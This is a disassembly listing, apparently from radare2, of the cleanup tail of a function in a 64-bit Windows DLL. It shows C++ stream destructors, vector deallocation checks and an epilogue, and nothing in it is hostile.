mov qword [rsp + rcx + 0x130], r14
mov rax, qword [rsp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x12c], edx
mov qword [rsp + 0x138], rbx
cmp qword [rsp + 0x1b8], 0
je 0x180005ea9
lea rcx, [rsp + 0x1a8]
mov rax, qword [rsp + 0x150]
cmp qword [rax], rcx
jne 0x180005ea9
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x170]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x188]
mov dword [rax], edx
cmp byte [rsp + 0x1b4], 0
je 0x180005ec0
lea rcx, [rsp + 0x138]
call fcn.180009130
lea rcx, [rsp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
cmp dword [rsp + 0xf8], 0
jne 0x18000615d
test r12, r12
je 0x180005f41
mov rdx, rdi
mov rcx, r12
call fcn.18000bab0
mov rdx, qword [rsp + 0xc0]
sub rdx, r12
and rdx, 0xffffffffffffffe0
mov rax, r12
cmp rdx, 0x1000
jb 0x180005f39
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005fa3
mov rcx, r12
call fcn.180016514
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x180005fc3
mov rax, rcx
mov rdx, qword [rsp + 0x98]
cmp rcx, rdx
je 0x180005f73
nop
cmp dword [rax + 8], 0
jne 0x18000615d
add rax, 0x10
cmp rax, rdx
jne 0x180005f60
mov rdx, qword [rsp + 0xa0]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005faa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005faa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180016514
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rsi
mov rax, qword [rsp + 0x290]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x290], rdi
mov rax, qword [rsp + 0x290]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x28c], edx
mov qword [rsp + 0x2a0], rbx
cmp qword [rsp + 0x320], 0
je 0x180006049
lea rcx, [rsp + 0x310]
mov rax, qword [rsp + 0x2b8]
cmp qword [rax], rcx
jne 0x180006049
mov rdx, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x328]
mov qword [rax], rcx
mov rax, qword [rsp + 0x2d8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x2f0]
mov dword [rax], edx
cmp byte [rsp + 0x31c], 0
je 0x180006060
lea rcx, [rsp + 0x2a0]
call fcn.180009130
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x340]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword [rsp + 0x3a0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x3a0], rdi
mov rax, qword [rsp + 0x3a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x39c], edx
mov qword [rsp + 0x3b0], rbx
cmp qword [rsp + 0x430], 0
je 0x180006109
lea rcx, [rsp + 0x420]
mov rax, qword [rsp + 0x3c8]
cmp qword [rax], rcx
jne 0x180006109
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x438]
mov qword [rax], rcx
mov rax, qword [rsp + 0x3e8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x400]
mov dword [rax], edx
cmp byte [rsp + 0x42c], 0
je 0x180006120
lea rcx, [rsp + 0x3b0]
call fcn.180009130
lea rcx, [rsp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x450]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
add rsp, 0xb30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.180009030
int3